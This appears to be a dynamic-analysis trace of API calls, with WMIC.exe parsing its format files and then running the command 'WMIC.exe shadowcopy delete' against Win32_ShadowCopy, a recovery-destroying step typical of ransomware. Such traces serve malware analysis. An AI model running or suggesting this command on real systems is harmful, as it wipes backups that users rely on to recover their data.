	[0167.603] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.603] malloc (_Size=0x18) returned 0xcc670
	[0167.603] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.603] free (_Block=0xcc670) 
	[0167.603] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x4)) returned 0x0
	[0167.603] malloc (_Size=0x18) returned 0xcc670
	[0167.603] malloc (_Size=0x18) returned 0xcc690
	[0167.603] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.603] SysStringLen (param_1="TABLE") returned 0x5
	[0167.603] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.604] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.604] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.604] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.604] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.604] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.604] malloc (_Size=0x30) returned 0xc84c0
	[0167.604] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.604] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.604] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.604] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=18, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.605] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="mof.xsl") returned 0x0
	[0167.605] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.605] malloc (_Size=0x18) returned 0xcc6b0
	[0167.605] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.605] free (_Block=0xcc6b0) 
	[0167.605] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x4)) returned 0x0
	[0167.605] malloc (_Size=0x18) returned 0xcc6b0
	[0167.605] malloc (_Size=0x18) returned 0xcc6d0
	[0167.605] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] SysStringLen (param_1="TABLE") returned 0x5
	[0167.606] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.606] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.606] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.606] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0167.606] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.606] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0167.606] malloc (_Size=0x30) returned 0xc8500
	[0167.607] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.607] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.607] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.607] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=19, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.607] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="textvaluelist.xsl") returned 0x0
	[0167.607] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.607] malloc (_Size=0x18) returned 0xcc6f0
	[0167.607] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.607] free (_Block=0xcc6f0) 
	[0167.607] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x4)) returned 0x0
	[0167.607] malloc (_Size=0x18) returned 0xcc6f0
	[0167.608] malloc (_Size=0x18) returned 0xcc710
	[0167.608] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.608] SysStringLen (param_1="TABLE") returned 0x5
	[0167.608] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.608] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.608] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.608] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.608] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.608] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.608] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.608] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.608] malloc (_Size=0x30) returned 0xc8540
	[0167.609] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.609] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.609] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.609] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=20, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.609] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="textvaluelist.xsl") returned 0x0
	[0167.609] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.609] malloc (_Size=0x18) returned 0xcc730
	[0167.609] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.610] free (_Block=0xcc730) 
	[0167.610] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x4)) returned 0x0
	[0167.610] malloc (_Size=0x18) returned 0xcc730
	[0167.610] malloc (_Size=0x18) returned 0xcc750
	[0167.610] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.610] SysStringLen (param_1="TABLE") returned 0x5
	[0167.610] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.610] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.610] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.610] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.610] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.611] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.611] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.611] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0167.611] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.611] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0167.611] malloc (_Size=0x30) returned 0xc8580
	[0167.611] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.611] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.611] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.611] IUnknown:Release (This=0x2209cc0) returned 0x0
	[0167.611] FreeThreadedDOMDocument:IUnknown:Release (This=0x220bc50) returned 0x1
	[0167.611] FreeThreadedDOMDocument:IUnknown:Release (This=0x22071d0) returned 0x0
	[0167.612] free (_Block=0xc6d90) 
	[0167.612] GetCommandLineW () returned="WMIC.exe  shadowcopy delete"
	[0167.778] malloc (_Size=0x40) returned 0xc6d50
	[0167.778] memcpy_s (in: _Destination=0xc6d50, _DestinationSize=0x3e, _Source=0x39259e, _SourceSize=0x36 | out: _Destination=0xc6d50) returned 0x0
	[0167.779] malloc (_Size=0x18) returned 0xcc770
	[0167.779] malloc (_Size=0x18) returned 0xcc790
	[0167.779] malloc (_Size=0x18) returned 0xcc7b0
	[0167.779] malloc (_Size=0x18) returned 0xcc7d0
	[0167.779] malloc (_Size=0x80) returned 0xc6da0
	[0167.779] GetLocalTime (in: lpSystemTime=0x20f770 | out: lpSystemTime=0x20f770*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x6, wDay=0x12, wHour=0x16, wMinute=0x5, wSecond=0x21, wMilliseconds=0x34a)) 
	[0167.779] _vsnwprintf (in: _Buffer=0xc6da0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x20f6c8 | out: _Buffer="01-18-2020T22:05:33") returned 19
	[0167.779] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.779] malloc (_Size=0x28) returned 0xcca40
	[0167.779] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.780] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.780] malloc (_Size=0x28) returned 0xcca70
	[0167.780] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.780] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.780] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.780] malloc (_Size=0x16) returned 0xcc7f0
	[0167.780] lstrlenW (lpString="shadowcopy") returned 10
	[0167.780] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81
	[0167.780] malloc (_Size=0x16) returned 0xcc810
	[0167.781] malloc (_Size=0x8) returned 0xccaa0
	[0167.781] free (_Block=0x0) 
	[0167.781] free (_Block=0xcc7f0) 
	[0167.781] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0167.781] malloc (_Size=0xe) returned 0xcc7f0
	[0167.781] lstrlenW (lpString="delete") returned 6
	[0167.781] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66
	[0167.781] malloc (_Size=0xe) returned 0xcc830
	[0167.781] malloc (_Size=0x10) returned 0xcc850
	[0167.781] memmove_s (in: _Destination=0xcc850, _DestinationSize=0x8, _Source=0xccaa0, _SourceSize=0x8 | out: _Destination=0xcc850) returned 0x0
	[0167.781] free (_Block=0xccaa0) 
	[0167.781] free (_Block=0x0) 
	[0167.781] free (_Block=0xcc7f0) 
	[0167.782] malloc (_Size=0x10) returned 0xcc7f0
	[0167.782] lstrlenW (lpString="QUIT") returned 4
	[0167.782] lstrlenW (lpString="shadowcopy") returned 10
	[0167.782] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3
	[0167.782] lstrlenW (lpString="EXIT") returned 4
	[0167.782] lstrlenW (lpString="shadowcopy") returned 10
	[0167.782] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3
	[0167.782] free (_Block=0xcc7f0) 
	[0167.782] WbemLocator:IUnknown:AddRef (This=0x1bc1390) returned 0x2
	[0167.783] malloc (_Size=0x10) returned 0xcc7f0
	[0167.783] lstrlenW (lpString="/") returned 1
	[0167.783] lstrlenW (lpString="shadowcopy") returned 10
	[0167.783] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3
	[0167.783] lstrlenW (lpString="-") returned 1
	[0167.783] lstrlenW (lpString="shadowcopy") returned 10
	[0167.783] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3
	[0167.783] lstrlenW (lpString="CLASS") returned 5
	[0167.783] lstrlenW (lpString="shadowcopy") returned 10
	[0167.784] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3
	[0167.784] lstrlenW (lpString="PATH") returned 4
	[0167.784] lstrlenW (lpString="shadowcopy") returned 10
	[0167.784] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3
	[0167.784] lstrlenW (lpString="CONTEXT") returned 7
	[0167.784] lstrlenW (lpString="shadowcopy") returned 10
	[0167.784] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3
	[0167.784] lstrlenW (lpString="shadowcopy") returned 10
	[0167.784] malloc (_Size=0x16) returned 0xcc870
	[0167.784] lstrlenW (lpString="shadowcopy") returned 10
	[0168.027] GetCurrentThreadId () returned 0x7b8
	[0168.028] ??0CHString@@QEAA@XZ () returned 0x20f580
	[0168.028] malloc (_Size=0x18) returned 0xcc890
	[0168.028] malloc (_Size=0x18) returned 0xcc8b0
	[0168.028] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc1390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffb42998 | out: ppNamespace=0xffb42998*=0x1bd3a98) returned 0x0
	[0168.481] free (_Block=0xcc8b0) 
	[0168.481] free (_Block=0xcc890) 
	[0168.482] CoSetProxyBlanket (pProxy=0x1bd3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0168.482] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.483] GetCurrentThreadId () returned 0x7b8
	[0168.483] ??0CHString@@QEAA@XZ () returned 0x20f418
	[0168.483] malloc (_Size=0x18) returned 0xcc890
	[0168.483] malloc (_Size=0x18) returned 0xcc8b0
	[0168.483] malloc (_Size=0x18) returned 0xcc8d0
	[0168.483] malloc (_Size=0x18) returned 0xcc8f0
	[0168.483] SysStringLen (param_1="root\\cli") returned 0x8
	[0168.483] SysStringLen (param_1="\\") returned 0x1
	[0168.483] malloc (_Size=0x18) returned 0xcc910
	[0168.484] SysStringLen (param_1="root\\cli\\") returned 0x9
	[0168.484] SysStringLen (param_1="ms_409") returned 0x6
	[0168.484] free (_Block=0xcc8f0) 
	[0168.484] free (_Block=0xcc8d0) 
	[0168.484] free (_Block=0xcc8b0) 
	[0168.484] free (_Block=0xcc890) 
	[0168.485] malloc (_Size=0x18) returned 0xcc890
	[0168.485] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc1390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffb429a0 | out: ppNamespace=0xffb429a0*=0x1bd3b28) returned 0x0
	[0168.755] free (_Block=0xcc890) 
	[0168.755] free (_Block=0xcc910) 
	[0168.756] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.756] GetCurrentThreadId () returned 0x7b8
	[0168.756] ??0CHString@@QEAA@XZ () returned 0x20f590
	[0168.756] malloc (_Size=0x18) returned 0xcc910
	[0168.756] malloc (_Size=0x18) returned 0xcc890
	[0168.756] malloc (_Size=0x18) returned 0xcc8b0
	[0168.756] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28
	[0168.756] malloc (_Size=0x3a) returned 0xccaa0
	[0168.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffad1980, cbMultiByte=-1, lpWideCharStr=0xccaa0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29
	[0168.756] free (_Block=0xccaa0) 
	[0168.757] malloc (_Size=0x18) returned 0xcc8d0
	[0168.757] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c
	[0168.757] SysStringLen (param_1="shadowcopy") returned 0xa
	[0168.757] malloc (_Size=0x18) returned 0xcc8f0
	[0168.757] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26
	[0168.757] SysStringLen (param_1="'") returned 0x1
	[0168.757] free (_Block=0xcc8d0) 
	[0168.758] free (_Block=0xcc8b0) 
	[0168.758] free (_Block=0xcc890) 
	[0168.758] free (_Block=0xcc910) 
	[0168.758] IWbemServices:GetObject (in: This=0x1bd3a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x20f598*=0x0, ppCallResult=0x0 | out: ppObject=0x20f598*=0x1be04e0, ppCallResult=0x0) returned 0x0
	[0168.800] malloc (_Size=0x18) returned 0xcc910
	[0168.800] IWbemClassObject:Get (in: This=0x1be04e0, wszName="Target", lFlags=0, pVal=0x20f4c0*(varType=0x0, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1=0xffb42998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x20f4c0*(varType=0x8, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.800] free (_Block=0xcc910) 
	[0168.801] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0168.801] malloc (_Size=0x3e) returned 0xccaa0
	[0168.801] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0168.801] malloc (_Size=0x18) returned 0xcc910
	[0168.801] IWbemClassObject:Get (in: This=0x1be04e0, wszName="PWhere", lFlags=0, pVal=0x20f4c0*(varType=0x0, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1=0x3be048, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x20f4c0*(varType=0x8, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.801] free (_Block=0xcc910) 
	[0168.801] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0168.801] malloc (_Size=0x20) returned 0xccaf0
	[0168.801] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0168.802] malloc (_Size=0x18) returned 0xcc910
	[0168.802] IWbemClassObject:Get (in: This=0x1be04e0, wszName="Connection", lFlags=0, pVal=0x20f4c0*(varType=0x0, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1=0x40d7d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x20f4c0*(varType=0xd, wReserved1=0xffb4, wReserved2=0x0, wReserved3=0x0, varVal1=0x1be09c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.802] free (_Block=0xcc910) 
	[0168.802] IUnknown:QueryInterface (in: This=0x1be09c0, riid=0xffad7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x20f4b0 | out: ppvObject=0x20f4b0*=0x1be09c0) returned 0x0
	[0168.802] GetCurrentThreadId () returned 0x7b8
	[0168.802] ??0CHString@@QEAA@XZ () returned 0x20f3d8
	[0168.802] malloc (_Size=0x18) returned 0xcc910
	[0168.803] IWbemClassObject:Get (in: This=0x1be09c0, wszName="Namespace", lFlags=0, pVal=0x20f400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffae738f, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.803] free (_Block=0xcc910) 
	[0168.803] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0168.803] malloc (_Size=0x16) returned 0xcc910
	[0168.803] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0168.803] malloc (_Size=0x18) returned 0xcc890
	[0168.803] IWbemClassObject:Get (in: This=0x1be09c0, wszName="Locale", lFlags=0, pVal=0x20f400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.803] free (_Block=0xcc890) 
	[0168.804] lstrlenW (lpString="ms_409") returned 6
	[0168.804] malloc (_Size=0xe) returned 0xcc890
	[0168.804] lstrlenW (lpString="ms_409") returned 6
	[0168.804] malloc (_Size=0x18) returned 0xcc8b0
	[0168.804] IWbemClassObject:Get (in: This=0x1be09c0, wszName="User", lFlags=0, pVal=0x20f400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.804] free (_Block=0xcc8b0) 
	[0168.804] malloc (_Size=0x18) returned 0xcc8b0
	[0168.804] IWbemClassObject:Get (in: This=0x1be09c0, wszName="Password", lFlags=0, pVal=0x20f400*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.804] free (_Block=0xcc8b0) 
	[0168.804] malloc (_Size=0x18) returned 0xcc8b0
	[0168.805] IWbemClassObject:Get (in: This=0x1be09c0, wszName="Server", lFlags=0, pVal=0x20f400*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.805] free (_Block=0xcc8b0) 
	[0168.805] lstrlenW (lpString=".") returned 1
	[0168.805] malloc (_Size=0x4) returned 0xccb20
	[0168.805] lstrlenW (lpString=".") returned 1
	[0168.805] malloc (_Size=0x18) returned 0xcc8b0
	[0168.805] IWbemClassObject:Get (in: This=0x1be09c0, wszName="Authority", lFlags=0, pVal=0x20f400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xcc910), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.805] free (_Block=0xcc8b0) 
	[0168.805] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.805] IUnknown:Release (This=0x1be09c0) returned 0x1
	[0168.806] GetCurrentThreadId () returned 0x7b8
	[0168.806] ??0CHString@@QEAA@XZ () returned 0x20f3d8
	[0168.806] malloc (_Size=0x18) returned 0xcc8b0
	[0168.806] IWbemClassObject:Get (in: This=0x1be04e0, wszName="__RELPATH", lFlags=0, pVal=0x20f400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43c068, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x20f400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.807] free (_Block=0xcc8b0) 
	[0168.807] malloc (_Size=0x18) returned 0xcc8b0
	[0168.807] GetCurrentThreadId () returned 0x7b8
	[0168.807] ??0CHString@@QEAA@XZ () returned 0x20f258
	[0168.808] ??0CHString@@QEAA@PEBG@Z () returned 0x20f270
	[0168.808] ??0CHString@@QEAA@AEBV0@@Z () returned 0x20f200
	[0168.808] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0168.808] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0xccb40
	[0168.808] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b
	[0168.808] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x20f1c0
	[0168.810] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x20f208
	[0168.810] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x20f270
	[0168.810] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0168.810] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0168.810] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x20f1c8
	[0168.810] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x20f200
	[0168.810] ??1CHString@@QEAA@XZ () returned 0x1
	[0168.811] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0xccbb0
	[0168.811] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa
	[0168.811] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x20f1c0
	[0168.811] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x20f208
	[0168.811] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x20f270
	[0168.811] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0168.811] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0168.811] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x20f1c8
	[0168.811] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x20f200
	[0168.811] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.811] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef3374820
	[0168.812] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.812] malloc (_Size=0x18) returned 0xcc8d0
	[0168.812] malloc (_Size=0x18) returned 0xcc930
	[0168.812] malloc (_Size=0x18) returned 0xcc950
	[0168.812] malloc (_Size=0x18) returned 0xcc970
	[0168.812] malloc (_Size=0x18) returned 0xcc990
	[0168.812] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c
	[0168.812] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17
	[0168.813] malloc (_Size=0x18) returned 0xcc9b0
	[0168.813] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53
	[0168.813] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29
	[0168.813] malloc (_Size=0x18) returned 0xcc9d0
	[0168.813] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c
	[0168.813] SysStringLen (param_1="\"") returned 0x1
	[0168.814] free (_Block=0xcc9b0) 
	[0168.814] free (_Block=0xcc990) 
	[0168.814] free (_Block=0xcc970) 
	[0168.814] free (_Block=0xcc950) 
	[0168.814] free (_Block=0xcc930) 
	[0168.814] free (_Block=0xcc8d0) 
	[0168.815] IWbemServices:GetObject (in: This=0x1bd3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x20f248*=0x0, ppCallResult=0x0 | out: ppObject=0x20f248*=0x1be0a50, ppCallResult=0x0) returned 0x0
	[0168.940] malloc (_Size=0x18) returned 0xcc8d0
	[0168.940] IWbemClassObject:Get (in: This=0x1be0a50, wszName="Text", lFlags=0, pVal=0x20f280*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffb42ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x20f280*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4364a0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x3bdde0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0
	[0168.940] free (_Block=0xcc8d0) 
	[0168.940] SafeArrayGetLBound (in: psa=0x4364a0, nDim=0x1, plLbound=0x20f260 | out: plLbound=0x20f260) returned 0x0
